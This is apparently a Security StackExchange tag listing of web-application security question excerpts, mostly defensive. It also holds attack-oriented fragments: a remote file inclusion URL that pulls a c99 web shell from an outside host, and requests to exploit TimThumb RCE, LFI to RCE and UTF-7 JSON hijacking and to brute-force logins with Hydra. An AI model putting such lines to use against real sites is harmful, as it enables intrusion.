An application that is accessed over a network such as the Internet or an intranet using a browser.

learn more… | top users | synonyms

1
vote
2answers
38 views

Is header('Location: ../page.php?param='.$param); vulnerable to unvalidated redirects?

I have reviewed a web application built on PHP. It redirects to different pages this way: $param = $_POST['param']; header('Location: ../page.php?param='.$param); Is it vulnerable to unvalidated ...
-8
votes
0answers
26 views

Make Website more secure [on hold]

how I make my website more secure and protect it from hack. To my knowledge https is just to Encrypts data only to a hacker can't see data Any help, any solution.
1
vote
2answers
77 views

Login attempt password logging and obfuscation

I have a third party app that records the password from every login attempt (regardless of success or failure). Is this a standard operation and does it really serve any meaningful security purpose? ...
3
votes
3answers
167 views

Sending sensitive infromation via self destructing link in an email

I need to come up with a simple way for people within the company to send out arbitrary sensitive information to arbitrary recipients. There is an equal chance that the sender and recipient will be ...
0
votes
0answers
46 views

SQL injection in find_by Active Record RoR 4

I was trying to understand the possibility of SQLi in a Rails Application, that I am currently auditing for a client, that uses Active Record 4.2.0. Now, I have limited experience with RoR so please ...
1
vote
2answers
84 views

Does an image showing exception error on my site pose a prominent security risk?

I wrote a small website in PHP and ZF2. Had a friend test it out by posting a link to it on Facebook. Apparently I forgot to turn off ZendFramework reporting and he find an error. Posted a photo ...
-1
votes
0answers
13 views

Beef installation problem in Windows 10 - 64 bit [migrated]

I am trying to install Beef in a WIndows 10 - 64 bit PC. I followed the instructions provided in the following link: https://github.com/beefproject/beef/blob/master/INSTALL.txt But I keep getting ...
-4
votes
1answer
57 views

No SSL: Web Application Security using html fragment identifier (#)

I am currently running my website in shared hosting, and I am not able to register TLS/SSL for my website. However, I implemented jsencrypt [A Javascript library to perform OpenSSL RSA Encryption, ...
0
votes
1answer
107 views

Why is storing usernames in cookies bad? [duplicate]

A commonly repeated advice over the web is not to store usernames in cookies. However, I don't really understand the problem. What I'm doing in my web application is: I generate a 16-byte (converted ...
-1
votes
1answer
39 views

Remote Help HTTP GET Request Format String Denial Of Service Vulnerability

Is there any solution for "HTTP GET Request Format String Denial Of Service Vulnerability" in the Remote Help software? I have referred many places but I could not find a solution. Please refer the ...
0
votes
0answers
73 views

Information security career [closed]

I am a fresh Computer Science graduate and passionate about cyber security. I did some research and found out about OWASP for web application security and read quite a lot about it. I have also found ...
5
votes
4answers
227 views

Why is using SQL injection to extract passwords or password hashes from a login database (that should never legitimately disclose them) even possible?

(Okay, so I'll confess upfront that while I'm trying to educate myself the current state of my knowledge on web applications security is still pretty shallow. So I appreciate your patience if the way ...
2
votes
2answers
114 views

How do I know that malware on the client computer does not modify data transmitted to my webapp?

I am working on a web application and have had an idea of a new feature I would like to add. The feature includes getting data from the user on their open system and receiving it on my server. For the ...
4
votes
1answer
77 views

How to prevent directory traversal when joining paths in node.js?

I have a node.js webapp in which I need to concatenate two paths in a safe way. The first one (leftmost) is a constant, and the second one (rightmost) is relative to the first one and comes from ...
43
votes
7answers
8k views

Is suggesting a correct url in a 404 page bad practice?

I'm currently writing a web application, and my client asked me if it would be possible to suggest a valid URL to the user when they accidentally write a typo in the URL bar, an example of this would ...
0
votes
1answer
37 views

Is it secure to get auth TOKEN from server with javascript?

Is it secure to manipulate with auth token inside client side javascript over https ? I want to pass that token to websocket after login. $.getJSON( $SCRIPT_ROOT + '/jscript_get_auth_token', {}, ...
0
votes
0answers
27 views

Web service authorization to specific applications: certificates, embedded secret or both?

My needs are somehow similar to this answer, but I would to be more specific. I have a set of web applications (A and B) that access to a REST service (R). A, B and R could be on the same server or ...
38
votes
10answers
7k views

How can I securely check if a username exists?

I'm working on the onboarding functionality of my web app and at some point I'm asking a new user to choose a username. When the user gets to this point, I have his/her email and a cellphone number ...
0
votes
0answers
49 views

LFI to RCE when log file isn't readable

During a penetration test, I came across an endpoint which lets me include local files and I can read /etc/passwd. However I don't have permissions to read proc/self/environ and /etc/shadow. The ...
1
vote
2answers
92 views

Explaining information leak to Lead dev

Our lead dev tells me that this information leak from our website is "no vulnerability. Just an ugly error UI." It looks to me that the leaked information could be used to aid an attack. Does it ...
13
votes
1answer
3k views

Should I hash my passwords even if I am only allowed to generate limited traffic?

At this moment I'm busy working on an webapp with a friend of mine. The main problem we have is that we are only allowed to generate 50 GB a month in datatraffic. My question is: Does hashing the ...
-1
votes
1answer
33 views

What are the most important vulnerabilities must be where professionalism [closed]

As we know that the vulnerabilities are many and varied, but what are the vulnerabilities in most locations and which need to be addressed and the focus on.
-1
votes
2answers
38 views

bypass file prepending security in remote or local file inclusion

When I try to execute a remote shell vial remote file inclusion like this: http://www.domain.com/index.php?page=http://a.c99txt.net/s/c99.php I get an error file not found : ...
0
votes
2answers
64 views

Need help to exploit php script vulnerability of a challenge

i am trying to exploit a vulnerability in a php script of the 'stop us' challenge of Wechall.net and I am not sure but I think I found the vulnerability, but now I don't know how to exploit it. I made ...
0
votes
0answers
48 views

How to perform TimThumb remote code execution over Wordpress sites?

When I was scanning a web application, Vulnerability scanner shows me that wordpress application has a vulnerability called TimThumb Remote Code Execution (referring Webshot feature). I went through ...
3
votes
2answers
165 views

Can you exploit an XSS vulnerability on one page to run code on another page?

Lets say that page A is vulnerable to XSS, but contain nothing of interest to an attacker. Page A links to page B that is not vulnerable to XSS, but contains a high value target for an attacker (such ...
25
votes
4answers
7k views

Should I block the Yandex Bot?

I have a web application that the Yandex spider is trying access into back-end a few times. After these spider searching, there are few Russian IP addresses that try to access back-end too and they ...
0
votes
1answer
136 views

Preventing uploads of malware to server by changing all extentions to PNG?

Ok, so I have my own website, and you can use the file upload quite a bit, and it is very important to the site. However, I've been hearing that clients can still bypass a file extension restrictions ...
1
vote
1answer
66 views

How to use nmap through proxychains?

Iam running nmap through proxychains using this comand proxychains nmap -v scanme.namp.org This produced an error showing like this root@kali:~# proxychains nmap -v scanme.nmap.org ...
0
votes
2answers
84 views

Obfuscate Identity for Password Reset Information

I am just wondering your opinions on why it would/would not be a good idea to mask or obfuscate email address data in a password reset web submission once the user has entered their username informing ...
3
votes
2answers
85 views

Why does OWASP ASVS require HTTP responses to have a content header specifying a character set?

The OWASP Application Security Verification Standard (ASVS), Version 3, states in clause V11.2: Verify that every HTTP response contains a content type header specifying a safe character set ...
1
vote
2answers
56 views

Is crossdomain policy file required by EVERY web application?

1) If a web application does NOT use any Flash content, does it require crossdomain / clientacess policy file ? 2) If a web application does not host crossdomain / clientaccess policy file, is it ...
3
votes
2answers
106 views

Preventing Browser from BeEF Exploitation

BeEF is a great exploitation Browser based tool. But in some cases, unknowingly people get Hooked due to beef when it's hook.js is kept in Invisible Iframe of an HTML source. So How, can we detect ...
1
vote
3answers
255 views

How to generate random but unique tokens for authentication?

I need to create unique and long tokens for email verification, but I am not sure about how. Currently we are on staging servers or we are just using os.urandom() in Django. But I need to know what ...
0
votes
0answers
22 views

Inserting XSRF header token in Hydra

I'm trying to break a login form with Hydra. The site is built with the Angular framework, and an XSRF token must be sent through the header and through the POST request. I notice that the XSRF ...
0
votes
1answer
39 views

How to find name of file to include in local file inclusion attack?

In a local file inclusion attack, besides guessing, is there method that allows an attacker to know the name of the right file? The name of the file to be included in a LFI attack is not always ...
0
votes
0answers
44 views

Targeting a specific machine and known setup with Armitage / Metasploit?

Most introductions to armitage / metasploit start with searching for potential targets. But if you want to pen test your own setup then it probably makes more sense to target the specific machine and ...
0
votes
2answers
88 views

How to detect XSS in GET requests?

How to detect XSS in HTTP/1.1 GET requests? A request can be malicious and I want to know how to detect if the GET request to a server is trying to XSS my website?
1
vote
3answers
48 views

Is there an added benefit to authentication within a part of an application, after authenticated into the main application?

Essentially I have a application that is 2 parts. One part is on the user's machine, which will upload files to my server, and the other part is a web application that works with those files. ...
0
votes
0answers
42 views

PHP null byte exploit through cookie [duplicate]

I have a challenge(centos) where I found a null byte based path traversal vulnerability in the 'user' cookie on a simple PHP/5.1.6 on Apache/2.2.3 based web app. I'm able to include the /etc/passwd ...
0
votes
2answers
52 views

Converting an intranet site to internet [closed]

We currently have a web application with client sensitive data that is only accessible by the intranet. The management wants to open this to the internet because there will be a need to have other ...
3
votes
3answers
113 views

Are login pages with no retry counts/lockouts a security risk?

I found a login page for a city/edu organisation that has no session times, no retry counter/lockout, and no delays if too many tries are made in a certain timeframe. I am able to exploit this to get ...
37
votes
5answers
5k views

How do I safely inspect a potentially malicious website?

Sometimes I'm interested in what's behind a malicious website. How do I stay on the safe side if I decide to inspect? I'm searching for methods that are quicker and more simple than running the ...
1
vote
1answer
60 views

Secure WebApp authentication

I know there are many questions about hashing passwords on the client side out there, but none of them, which I found, address my use case. My app will be end-to-end-encrypted and it is not an option ...
0
votes
1answer
79 views

What is the most valuable file you can get using a directory traversal hole [closed]

I am doing a penetration test and I found a directory traversal hole in the web application which enables me to download any readable file in the server. However, I could only download files that is ...
1
vote
1answer
69 views

Is it secure to refesh a JSON Web Token (JWT) auth token using the user credentials?

As I understand the answers to this question JWT: Is refresh an expired token is a good strategy?, one should use a refresh token to refresh an expiring auth token. Since my web app should be ...
0
votes
1answer
33 views

Are there any risks in wrapping asymmetric encryption in symmetric?

The web app I am developing should be end-to-end-encrypted, but for slightly better user experience, I do not want the user to enter private keys into the client. Instead I am planning to store the ...
1
vote
1answer
60 views

How can data URLs be exploited?

I found I can upload an avatar using data URL (the one you get by googling some picture and right-clicking on its miniature) by just changing type="file" to type="url". Initially user shouldn't be ...
0
votes
0answers
62 views

UTF-7 JSON hijacking on Microsoft IE and Edge

After some research, I saw an answer on StackOverflow saying that it's still possible to perform a UTF-7 JSON hijack using Microsoft IE and Edge browsers. If yes how can it be done? I really need an ...
2
votes
4answers
71 views

Security risks of using MongoDB ID vs a counter in URL? [duplicate]

In my Angular app, I use the MongoDB id in the URLs. Are there any security risks to this? Should I use a counter instead, and then in my DB have some sort of collection that links this counter to ...